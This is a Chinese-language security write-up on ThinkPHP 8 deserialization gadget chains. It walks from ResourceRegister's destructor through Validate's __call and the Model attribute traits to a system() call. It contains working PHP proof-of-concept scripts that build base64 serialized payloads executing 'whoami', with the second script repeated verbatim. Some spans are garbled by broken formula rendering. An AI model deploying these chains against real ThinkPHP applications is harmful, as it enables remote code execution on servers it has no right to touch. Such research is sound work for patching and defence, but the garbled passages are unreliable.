thinkphp8反序列化
前言
摆了一个暑假,正好看见周会有人分析了tp反序列化,想起这条链子的发现者就是我尊敬的nivia,这不得好好分析一下,而且师傅也是分析了这个,所以有了这个文章
链子一 __call触发
分析
相比于我们的6来说,原来我们都是通过save方法来作为入口的,但是8直接将整个类的destruct方法都被删除掉了
这里我们使用6的宁一个类
ResourceRegister#__destruct
我们的目的是触发call方法,所以可以寻找可能触发call的地方,并且参数可以控制
think\Validate#__call
public function __call($method, $args)
{
if ('is' == strtolower(substr($method, 0, 2))) {
$method = substr($method, 2);
}
array_push($args, lcfirst($method));
return call_user_func_array([$this, 'is'], $args);
}
这里解释一下call_user_func_array([$this, ‘is’], $args);这个意思
[$this, 'is']
:这部分表示回调是一个对象方法,$this
是当前对象的引用,'is'
是对象中名为is
的方法。这相当于$this->is()
。$args
:这是一个参数数组,它将被解包并传递给is
方法。
我们看看is方法的重点部分
public function is($value, string $rule, array $data = []): bool
{
$call = function ($value, $rule) {
if (isset($this->type[$rule])) {
// 注册的验证规则
$result = call_user_func_array($this->type[$rule], [$value]);
至于参数怎么控制的,分析完调用链再来研究
回到我们入口它调用了register方法
protected function register()
{
$this->registered = true;
$this->resource->parseGroupRule($this->resource->getRule());
}
可以看到其实这里就有触发
但是参数是不一样的,我们看到call是需要传入两个参数的
而getRule只是返回一个参数
public function getRule()
{
return $this->rule;
}
继续往下来,进入parseGroupRule方法
随便一看,是存在大量的字符串拼接的,是可以触发我们的Tostring的
因为传入参数都是tostring后该考虑的事,这里我们不需要过多关心参数对后面的影响,只需要能够触发tostring就好了
首先一眼看下去是
$rule = implode('/', $item) . '/' . $last;
这里控制last的值更好触发,但是last的来源是
$array = explode('.', $rule);
$last = array_pop($array);
$item = [];
注定了我们的last只能为一个字符串,因为是从我们的rule里面用点分割的,所以不能为一个实例化对象,我们使用
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
这个什么意思呢,问下gpt就懂了
foreach ($array as $val)
:这表示对于数组$array
中的每个元素,将其值赋给变量$val
,然后执行循环体中的代码。$item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>
:在每次循环中,创建一个新的元素并添加到数组$item
中。这个新元素是由当前的$val
值,加上/<
,再加上$option['var'][$val]
的值(如果存在),如果$option['var'][$val]
不存在,则使用$val. '_id'
,最后加上>
组成。
以下是一个示例:
<?php
$array = ['item1', 'item2', 'item3'];
$option = [
'var' => [
'item1' => 'value1',
'item3' => 'value3'
]
];
$item = [];
foreach ($array as $val) {
$item[] = $val. '/<'. ($option['var'][$val]?? $val. '_id'). '>';
}
print_r($item);
?>
在上述示例中,最终 $item
数组的内容将是
Array
(
[0] => item1/<'value1'>
[1] => item2/<'item2_id'>
[2] => item3/<'value3'>
)
首先控制我们的$option['var'][$val]
为我们的实例化对象,然后确保
o
p
t
i
o
n
[
′
v
a
r
′
]
值为
option['var']值为
option[′var′]值为val的键值,并且键值的值是我们的实例化对象
像这样
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
这样$val是1,然后返回1的值就是我们的对象
就成功到了我们的老tostring了
但是这里我们走call
继续看
但是我们走的是
倒着分析
看到getRelationWith方法
protected function getRelationWith(string $key, array $hidden, array $visible)
{
$relation = $this->getRelation($key, true);
if ($relation) {
if (isset($visible[$key])) {
$relation->visible($visible[$key]);
} elseif (isset($hidden[$key])) {
$relation->hidden($hidden[$key]);
}
}
return $relation;
}
如果要触发call方法,那么$relation必须可以控制
跟进getRelation方法
public function getRelation(string $name = null, bool $auto = false)
{
if (is_null($name)) {
return $this->relation;
}
if (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
} elseif ($auto) {
$relation = Str::camel($name);
return $this->getRelationValue($relation);
}
}
第一个是我们的name为null,name就是传入的call的参数,是不可以为null的,我们看第二个
只需要name存在这个键就好了
溯源到name是
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
来自于append,所以这样
https://www.aiwin.fun/index.php/archives/4422/#cl-1
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()];
只要这两个的键一样,现在就是控制传过去的call参数了
传入的是 v i s i b l e [ visible[ visible[key]作为方法名,visible是可以控制的
但是有个问题就是
我们的val是不能为String的,那我们要怎么传入方法参数呢
可以使用数组,但是倒着一个问题
在命令执行的地方
$result = call_user_func_array($this->type[$rule], [$value]);
我们的方法只能接收一个数组参数,而且能够执行命令
根据nivia的想法
本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化
所以放弃,这里想到的办法是
如果$value是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString方法,返回一个值,因此只需要找一个类的__toString方法直接返回一个值,并且这个值是可控的即可。我与链子作者都把枪头同时指向了ConstStub类,这里可以通过构造方法控制value,从而达到上面的效果。
POC
<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}
namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
public $value="whoami";
}
namespace think;
use Symfony\Component\VarDumper\Caster\ConstStub;
class Validate{
protected $type;
public function __construct(){
$this->type=["visible"=>"system"];
}
}
abstract class Model{
protected $append=["a"=>"1.1"];
private $relation;
protected $visible;
public function __construct(){
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\route;
use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option =["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
细节部分
触发tostring
上面写着有,可以去看
搜索“进入parseGroupRule方法”
不能为string,怎么办
也是有的
搜索“但是有个问题就是”、
这个就是刚刚的前部分触发tostring和tp6的后半部分触发动态方法调用那里
POC
<?php
namespace think\model\concern;
trait Attribute{
private $data=['a'=>['a'=>'whoami']];
private $withAttr=['a'=>['a'=>'system']];
protected $json=["a"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
链子二 getjsonvalue动态方法调用
这个就是触发Tostring的前部分加tp6的后部分
POC
<?php
namespace think\model\concern;
trait Attribute{
private $data=['a'=>['a'=>'whoami']];
private $withAttr=['a'=>['a'=>'system']];
protected $json=["a"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
参考
https://www.aiwin.fun/index.php/archives/4422/#
https://xz.aliyun.com/t/14904#toc-5